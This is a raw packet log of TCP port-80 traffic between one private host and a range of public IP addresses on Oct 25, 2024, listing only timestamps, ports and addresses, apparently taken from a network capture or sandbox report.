Oct 25, 2024 11:18:18.394336939 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.394402027 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.468272924 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.468302011 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.468317032 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.468422890 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.468437910 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.468574047 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.468650103 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.468693018 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.468719959 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.468729019 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.468765020 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.468799114 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.468825102 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.469317913 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.469371080 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.469422102 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.469456911 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.469491005 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.469582081 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.469640017 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.515635967 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.515671015 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.515705109 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.515752077 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.515782118 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.516115904 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.516204119 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.520369053 CEST	80	53035	60.43.154.138	192.168.2.5
Oct 25, 2024 11:18:18.520464897 CEST	53035	80	192.168.2.5	60.43.154.138
Oct 25, 2024 11:18:18.581653118 CEST	80	53047	154.53.43.150	192.168.2.5
Oct 25, 2024 11:18:18.583503962 CEST	53047	80	192.168.2.5	154.53.43.150
Oct 25, 2024 11:18:18.591389894 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.591440916 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.591475010 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.591509104 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.591542006 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.591722965 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.591731071 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.591732025 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.591887951 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.591922998 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.591944933 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.591975927 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.592004061 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.592039108 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.592062950 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.592083931 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.592633963 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.592695951 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.625679970 CEST	53047	80	192.168.2.5	154.53.43.150
Oct 25, 2024 11:18:18.631285906 CEST	80	53047	154.53.43.150	192.168.2.5
Oct 25, 2024 11:18:18.637691975 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.637761116 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.637795925 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.637872934 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.637907028 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.638078928 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.638113022 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.638144970 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.638361931 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.638361931 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.646074057 CEST	80	53048	192.124.249.10	192.168.2.5
Oct 25, 2024 11:18:18.646174908 CEST	53048	80	192.168.2.5	192.124.249.10
Oct 25, 2024 11:18:18.685199022 CEST	80	52927	96.127.180.42	192.168.2.5
Oct 25, 2024 11:18:18.685544968 CEST	52927	80	192.168.2.5	96.127.180.42
Oct 25, 2024 11:18:18.712923050 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.712974072 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.713007927 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.713042021 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.713076115 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.713174105 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.713478088 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.713511944 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.713526011 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.713526011 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.713545084 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.713581085 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.713602066 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.713675022 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.713947058 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.714134932 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.714241982 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.714332104 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.759968042 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.760001898 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.760039091 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.760073900 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.760106087 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.760138988 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.760152102 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.760238886 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.760238886 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.763631105 CEST	80	53046	80.74.154.6	192.168.2.5
Oct 25, 2024 11:18:18.763719082 CEST	53046	80	192.168.2.5	80.74.154.6
Oct 25, 2024 11:18:18.763750076 CEST	53048	80	192.168.2.5	192.124.249.10
Oct 25, 2024 11:18:18.766253948 CEST	80	53047	154.53.43.150	192.168.2.5
Oct 25, 2024 11:18:18.766323090 CEST	53047	80	192.168.2.5	154.53.43.150
Oct 25, 2024 11:18:18.769321918 CEST	80	53048	192.124.249.10	192.168.2.5
Oct 25, 2024 11:18:18.771678925 CEST	53060	80	192.168.2.5	116.211.150.37
Oct 25, 2024 11:18:18.777687073 CEST	80	53060	116.211.150.37	192.168.2.5
Oct 25, 2024 11:18:18.777759075 CEST	53060	80	192.168.2.5	116.211.150.37
Oct 25, 2024 11:18:18.781152964 CEST	53060	80	192.168.2.5	116.211.150.37
Oct 25, 2024 11:18:18.786679029 CEST	80	53060	116.211.150.37	192.168.2.5
Oct 25, 2024 11:18:18.795861006 CEST	53046	80	192.168.2.5	80.74.154.6
Oct 25, 2024 11:18:18.801373959 CEST	80	53046	80.74.154.6	192.168.2.5
Oct 25, 2024 11:18:18.818939924 CEST	53061	80	192.168.2.5	172.67.173.200
Oct 25, 2024 11:18:18.825267076 CEST	80	53061	172.67.173.200	192.168.2.5
Oct 25, 2024 11:18:18.825354099 CEST	53061	80	192.168.2.5	172.67.173.200
Oct 25, 2024 11:18:18.825649977 CEST	53061	80	192.168.2.5	172.67.173.200
Oct 25, 2024 11:18:18.831140995 CEST	80	53061	172.67.173.200	192.168.2.5
Oct 25, 2024 11:18:18.868393898 CEST	53062	80	192.168.2.5	198.185.159.144
Oct 25, 2024 11:18:18.873907089 CEST	80	53062	198.185.159.144	192.168.2.5
Oct 25, 2024 11:18:18.873986006 CEST	53062	80	192.168.2.5	198.185.159.144
Oct 25, 2024 11:18:18.874128103 CEST	53062	80	192.168.2.5	198.185.159.144
Oct 25, 2024 11:18:18.879618883 CEST	80	53062	198.185.159.144	192.168.2.5
Oct 25, 2024 11:18:18.880537033 CEST	53063	80	192.168.2.5	122.128.109.107
Oct 25, 2024 11:18:18.887335062 CEST	80	53063	122.128.109.107	192.168.2.5
Oct 25, 2024 11:18:18.887415886 CEST	53063	80	192.168.2.5	122.128.109.107
Oct 25, 2024 11:18:18.887578964 CEST	53063	80	192.168.2.5	122.128.109.107
Oct 25, 2024 11:18:18.893066883 CEST	80	53063	122.128.109.107	192.168.2.5
Oct 25, 2024 11:18:18.912244081 CEST	80	53048	192.124.249.10	192.168.2.5
Oct 25, 2024 11:18:18.912301064 CEST	53048	80	192.168.2.5	192.124.249.10
Oct 25, 2024 11:18:19.002806902 CEST	53064	80	192.168.2.5	188.165.133.163
Oct 25, 2024 11:18:19.008301973 CEST	80	53064	188.165.133.163	192.168.2.5
Oct 25, 2024 11:18:19.008387089 CEST	53064	80	192.168.2.5	188.165.133.163
Oct 25, 2024 11:18:19.008555889 CEST	53064	80	192.168.2.5	188.165.133.163
Oct 25, 2024 11:18:19.013997078 CEST	80	53064	188.165.133.163	192.168.2.5
Oct 25, 2024 11:18:19.016144037 CEST	80	53049	185.80.51.179	192.168.2.5
Oct 25, 2024 11:18:19.016197920 CEST	53049	80	192.168.2.5	185.80.51.179
Oct 25, 2024 11:18:19.034193993 CEST	53049	80	192.168.2.5	185.80.51.179
Oct 25, 2024 11:18:19.039789915 CEST	80	53049	185.80.51.179	192.168.2.5
Oct 25, 2024 11:18:19.048940897 CEST	80	53046	80.74.154.6	192.168.2.5
Oct 25, 2024 11:18:19.049057961 CEST	53046	80	192.168.2.5	80.74.154.6
Oct 25, 2024 11:18:19.058351040 CEST	80	52933	217.19.237.54	192.168.2.5
Oct 25, 2024 11:18:19.058429956 CEST	52933	80	192.168.2.5	217.19.237.54
Oct 25, 2024 11:18:19.062055111 CEST	80	53051	34.218.204.173	192.168.2.5
Oct 25, 2024 11:18:19.062237024 CEST	53051	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:19.062664032 CEST	53051	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:19.068660975 CEST	80	53051	34.218.204.173	192.168.2.5
Oct 25, 2024 11:18:19.068731070 CEST	53051	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:19.101845026 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.101932049 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.101959944 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.102011919 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.102030993 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.102047920 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.102060080 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.102082014 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.102113962 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.102118015 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.102124929 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.102153063 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.102159977 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.102186918 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.102211952 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.102221012 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.102241993 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.102258921 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.102277994 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.102320910 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.107912064 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.107945919 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.107980013 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.108083963 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.108083963 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.124887943 CEST	53065	80	192.168.2.5	135.181.73.98
Oct 25, 2024 11:18:19.125324965 CEST	53066	80	192.168.2.5	202.254.236.40
Oct 25, 2024 11:18:19.130837917 CEST	80	53065	135.181.73.98	192.168.2.5
Oct 25, 2024 11:18:19.130888939 CEST	80	53066	202.254.236.40	192.168.2.5
Oct 25, 2024 11:18:19.130916119 CEST	53065	80	192.168.2.5	135.181.73.98
Oct 25, 2024 11:18:19.130949974 CEST	53066	80	192.168.2.5	202.254.236.40
Oct 25, 2024 11:18:19.131076097 CEST	53065	80	192.168.2.5	135.181.73.98
Oct 25, 2024 11:18:19.131077051 CEST	53066	80	192.168.2.5	202.254.236.40
Oct 25, 2024 11:18:19.136596918 CEST	80	53065	135.181.73.98	192.168.2.5
Oct 25, 2024 11:18:19.136626005 CEST	80	53066	202.254.236.40	192.168.2.5
Oct 25, 2024 11:18:19.221709967 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.221764088 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.221815109 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.221848965 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.221884012 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.221916914 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.221932888 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.221932888 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.221932888 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.221932888 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.221932888 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.221951008 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.221973896 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.221986055 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.222009897 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.222019911 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.222039938 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.222054958 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.222114086 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.222655058 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.222707987 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.222757101 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.222775936 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.222791910 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.222791910 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.222827911 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.222843885 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.222925901 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.223598003 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.223650932 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.223684072 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.223716974 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.223726034 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.223742008 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.223752022 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.223795891 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.223795891 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.224543095 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.224595070 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.224627972 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.224675894 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.224675894 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.227094889 CEST	80	53057	81.2.194.241	192.168.2.5
Oct 25, 2024 11:18:19.227184057 CEST	53057	80	192.168.2.5	81.2.194.241
Oct 25, 2024 11:18:19.227438927 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.227606058 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.243204117 CEST	53057	80	192.168.2.5	81.2.194.241
Oct 25, 2024 11:18:19.249521017 CEST	80	53057	81.2.194.241	192.168.2.5
Oct 25, 2024 11:18:19.262775898 CEST	80	53055	93.187.206.66	192.168.2.5
Oct 25, 2024 11:18:19.262844086 CEST	53055	80	192.168.2.5	93.187.206.66
Oct 25, 2024 11:18:19.296174049 CEST	80	53049	185.80.51.179	192.168.2.5
Oct 25, 2024 11:18:19.296248913 CEST	53049	80	192.168.2.5	185.80.51.179
Oct 25, 2024 11:18:19.303199053 CEST	80	53056	93.187.206.66	192.168.2.5
Oct 25, 2024 11:18:19.303513050 CEST	53056	80	192.168.2.5	93.187.206.66
Oct 25, 2024 11:18:19.338836908 CEST	80	53058	122.128.109.107	192.168.2.5
Oct 25, 2024 11:18:19.338917971 CEST	53058	80	192.168.2.5	122.128.109.107
Oct 25, 2024 11:18:19.338946104 CEST	80	53058	122.128.109.107	192.168.2.5
Oct 25, 2024 11:18:19.338983059 CEST	80	53058	122.128.109.107	192.168.2.5
Oct 25, 2024 11:18:19.339018106 CEST	80	53058	122.128.109.107	192.168.2.5
Oct 25, 2024 11:18:19.339018106 CEST	53058	80	192.168.2.5	122.128.109.107
Oct 25, 2024 11:18:19.339056015 CEST	80	53058	122.128.109.107	192.168.2.5
Oct 25, 2024 11:18:19.339056969 CEST	53058	80	192.168.2.5	122.128.109.107
Oct 25, 2024 11:18:19.339081049 CEST	53058	80	192.168.2.5	122.128.109.107
Oct 25, 2024 11:18:19.339092016 CEST	80	53058	122.128.109.107	192.168.2.5
Oct 25, 2024 11:18:19.339102983 CEST	53058	80	192.168.2.5	122.128.109.107
Oct 25, 2024 11:18:19.339127064 CEST	80	53058	122.128.109.107	192.168.2.5
Oct 25, 2024 11:18:19.339142084 CEST	53058	80	192.168.2.5	122.128.109.107
Oct 25, 2024 11:18:19.339164019 CEST	80	53058	122.128.109.107	192.168.2.5
Oct 25, 2024 11:18:19.339181900 CEST	53058	80	192.168.2.5	122.128.109.107
Oct 25, 2024 11:18:19.339225054 CEST	53058	80	192.168.2.5	122.128.109.107
Oct 25, 2024 11:18:19.339564085 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.339616060 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.339646101 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.339698076 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.339730978 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.339768887 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.339813948 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.339813948 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.339813948 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.339813948 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.339813948 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.339977026 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.340010881 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.340045929 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.340070963 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.340079069 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.340128899 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.340342999 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.340388060 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.340456963 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.340507984 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.340542078 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.340574980 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.340575933 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.340670109 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.340802908 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.340852022 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.340886116 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.340919018 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.340951920 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.340985060 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.341018915 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.341022968 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.341022968 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.341022968 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.341047049 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.341047049 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.341048956 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.341063976 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.341095924 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.341434956 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.341486931 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.341535091 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.341552019 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.341552019 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.341568947 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.341592073 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.341600895 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.341634989 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.341645002 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.341645002 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.341669083 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.341672897 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.341702938 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.341736078 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.341769934 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.341861010 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.341861010 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.341974020 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.342499971 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.342534065 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.342566967 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.342600107 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.342611074 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.342611074 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.342633963 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.342665911 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.342700005 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.342700005 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.342721939 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.342734098 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.342749119 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.342767954 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.342775106 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.342802048 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.342919111 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.342919111 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.343396902 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.343430996 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.343465090 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.343498945 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.343508005 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.343508005 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.343508005 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.343605995 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.345500946 CEST	80	53037	104.26.10.81	192.168.2.5
